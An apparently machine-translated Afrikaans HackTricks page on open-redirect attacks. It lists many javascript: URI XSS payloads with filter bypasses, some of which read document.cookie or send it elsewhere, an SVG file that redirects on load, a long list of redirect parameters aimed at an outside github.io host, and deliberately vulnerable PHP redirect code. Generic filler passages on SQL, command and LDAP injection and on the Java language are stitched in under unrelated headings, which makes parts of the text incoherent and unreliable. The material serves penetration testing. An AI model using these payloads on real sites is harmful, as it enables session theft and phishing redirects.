Open Redirect

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Oop omleiding

Omleiding na localhost of willekeurige domeine

pageURL Format Bypass

Oop omleiding na XSS

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

Oop-omleiding by die oplaai van svg-lêers

'n Oop-omleiding is 'n sekuriteitskwessie wat voorkom wanneer 'n webtoepassing toelaat dat 'n gebruiker na 'n eksterne URL omgelei word sonder behoorlike validering. Hierdie kwessie kan uitgebuit word deur 'n aanvaller om gebruikers te mislei en hulle na skadelike webwerwe te stuur.

By die oplaai van SVG-lêers kan 'n oop-omleiding voorkom as die toepassing nie behoorlike validering van die lêernaam en URL doen nie. As die toepassing toelaat dat 'n gebruiker 'n SVG-lêer oplaai en die lêernaam en URL nie behoorlik gevalideer word nie, kan 'n aanvaller 'n skadelike SVG-lêer oplaai wat 'n omleiding veroorsaak na 'n skadelike webwerf.

Om hierdie kwessie te misbruik, kan 'n aanvaller 'n skadelike SVG-lêer skep wat 'n omleiding bevat na 'n kwaadwillige webwerf. Die aanvaller kan dan hierdie skadelike SVG-lêer oplaai na die toepassing en 'n spesifieke URL verskaf wat die omleiding veroorsaak. As 'n gebruiker op die skadelike SVG-lêer klik, sal hulle na die kwaadwillige webwerf omgelei word.

Om hierdie aanval te voorkom, moet die toepassing behoorlike validering van die lêernaam en URL doen wanneer SVG-lêers oplaai word. Dit behels die gebruik van 'n witlysbenadering, waar slegs toegelate karakters en URL's toegelaat word. Verder moet die toepassing ook die inhoud van die SVG-lêer ontleed en valideer om te verseker dat dit nie skadelike omleidings bevat nie.

Dit is belangrik vir ontwikkelaars om bewus te wees van die risiko van oop-omleidings by die oplaai van SVG-lêers en om behoorlike maatreëls te tref om hierdie kwessie te voorkom. Deur die toepassing behoorlik te valideer en te verifieer, kan die risiko van aanvalle verminder word en die veiligheid van die gebruikers verbeter word.

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Algemene inspuitingsparameters

In web application security, injection attacks are a common technique used by hackers to exploit vulnerabilities. Injection attacks occur when an attacker is able to insert malicious code or commands into a web application's input fields or parameters.

In this section, we will discuss some of the most common injection parameters that hackers target:

SQL Injection

SQL injection is a type of injection attack where an attacker inserts malicious SQL statements into a web application's database query. This can allow the attacker to manipulate the database, extract sensitive information, or even modify the application's behavior.

Some common SQL injection parameters include:

  • id or user_id: These parameters are often used to retrieve specific records from a database. An attacker can manipulate these parameters to execute arbitrary SQL queries.

  • username or password: These parameters are commonly used in login forms. An attacker can use SQL injection to bypass authentication or retrieve sensitive user information.

  • search or keyword: These parameters are used in search functionalities. An attacker can inject SQL statements to manipulate the search results or extract sensitive data.

Command Injection

Command injection is another type of injection attack where an attacker is able to execute arbitrary commands on the underlying operating system. This can occur when a web application allows user input to be directly passed to a system command without proper validation or sanitization.

Some common command injection parameters include:

  • cmd or command: These parameters are often used to execute system commands. An attacker can inject malicious commands to gain unauthorized access or perform malicious actions on the server.

  • filename or path: These parameters are commonly used in file upload functionalities. An attacker can inject commands to manipulate files, execute arbitrary code, or even gain remote code execution.

  • ping or ip: These parameters are used in network-related functionalities. An attacker can inject commands to perform network reconnaissance, launch denial-of-service attacks, or even gain remote access to other systems.

LDAP Injection

LDAP injection is a type of injection attack that targets applications using the Lightweight Directory Access Protocol (LDAP) for user authentication and directory services. An attacker can manipulate LDAP queries to bypass authentication, retrieve sensitive information, or modify the application's behavior.

Some common LDAP injection parameters include:

  • username or user_id: These parameters are often used to authenticate users against an LDAP server. An attacker can inject LDAP statements to bypass authentication or retrieve sensitive user information.

  • search or filter: These parameters are used in LDAP search functionalities. An attacker can inject LDAP statements to manipulate the search results or extract sensitive data.

  • dn or base_dn: These parameters are used to specify the base distinguished name (DN) for LDAP operations. An attacker can inject LDAP statements to modify the base DN and access unauthorized data.

It is important for developers to properly validate and sanitize user input to prevent injection attacks. Additionally, using parameterized queries, prepared statements, and input validation techniques can help mitigate the risk of injection vulnerabilities.

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Kodevoorbeelde

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

Java is 'n objekgeoriënteerde programmeertaal wat algemeen gebruik word vir die ontwikkeling van verskeie toepassings, insluitend webtoepassings. Dit is 'n platformonafhanklike taal, wat beteken dat dit op verskillende bedryfstelsels kan hardloop sonder om die kode te verander. Dit maak gebruik van 'n virtuele masjien (VM) om die kode uit te voer.

Java het 'n streng tipe-sisteem, wat beteken dat dit vereis dat die tipes van die data wat in die kode gebruik word, vooraf gedefinieer moet word. Dit maak gebruik van klassifikasies en objekte om funksionaliteit te organiseer en te struktureer. Dit bied ook 'n groot verskeidenheid biblioteke en raamwerke wat ontwikkelaars kan gebruik om die ontwikkelingsproses te vergemaklik.

Java het 'n sterk fokus op veiligheid en betroubaarheid. Dit maak gebruik van 'n sandboksomgewing om die uitvoering van onbetroubare kode te beperk en om die integriteit van die stelsel te beskerm. Dit bied ook ingeboude sekuriteitsfunksies, soos kriptografie en toegangsbeheer, om die toepassings te beskerm teen aanvalle.

Java het 'n groot gemeenskap van ontwikkelaars en 'n ryk eko-stelsel van hulpmiddels en bronne. Dit word algemeen gebruik vir die ontwikkeling van webtoepassings, mobiele toepassings, bedryfsagteware en nog baie meer.

response.redirect("http://mysafedomain.com");

PHP

Open Redirect

'n Oop omleiding is 'n sekuriteitskwessie wat voorkom wanneer 'n webtoepassing toelaat dat 'n gebruiker na 'n eksterne URL omgelei word sonder behoorlike validering. Dit kan misbruik word deur 'n aanvaller om gebruikers te mislei en hulle na 'n skadelike webwerf te stuur.

Identifiseer 'n Oop Omleiding

Om 'n oop omleiding in 'n PHP-webtoepassing te identifiseer, kan jy die volgende stappe volg:

  1. Identifiseer die URL-parameters wat gebruik word om die omleiding te beheer.

  2. Verifieer of die URL-parameter 'n eksterne URL aanvaar.

  3. Kyk na die validering van die URL-parameter. As daar geen behoorlike validering is nie, kan dit 'n potensiële oop omleiding wees.

Uitbuiting van 'n Oop Omleiding

Om 'n oop omleiding in 'n PHP-webtoepassing uit te buit, kan jy die volgende stappe volg:

  1. Identifiseer die URL-parameter wat gebruik word om die omleiding te beheer.

  2. Skep 'n skadelike URL wat na 'n kwaadwillige webwerf verwys.

  3. Stuur die skadelike URL na die toepassing deur die URL-parameter te manipuleer.

  4. As die toepassing nie behoorlik valideer nie, sal dit die gebruiker na die kwaadwillige webwerf omlei.

Voorkoming van 'n Oop Omleiding

Om 'n oop omleiding in 'n PHP-webtoepassing te voorkom, kan jy die volgende maatreëls tref:

  1. Valideer alle URL-parameters wat gebruik word vir omleidings.

  2. Stel 'n lys van toegelate URL's op en vergelyk die omleidings-URL met hierdie lys.

  3. Gebruik 'n witlysbenadering om slegs spesifieke URL-patrone toe te laat.

  4. Moenie vertroue op die gebruikersinsette nie en verifieer die URL-parameter behoorlik.

  5. Implementeer 'n veilige omleidingsfunksie wat slegs toegelate URL's aanvaar.

Voorbeeld van 'n Oop Omleiding in PHP

Hier is 'n voorbeeld van 'n PHP-kode wat 'n oop omleiding kan veroorsaak:

<?php
$redirectUrl = $_GET['url'];
header('Location: ' . $redirectUrl);
?>

In hierdie voorbeeld word die URL-parameter 'url' nie behoorlik gevalideer nie. Dit beteken dat 'n aanvaller 'n skadelike URL kan verskaf en die gebruiker na 'n kwaadwillige webwerf kan omlei. Om hierdie kwessie op te los, moet die URL-parameter behoorlik gevalideer word voordat dit gebruik word om 'n omleiding uit te voer.

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Gereedskap

Hulpbronne

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated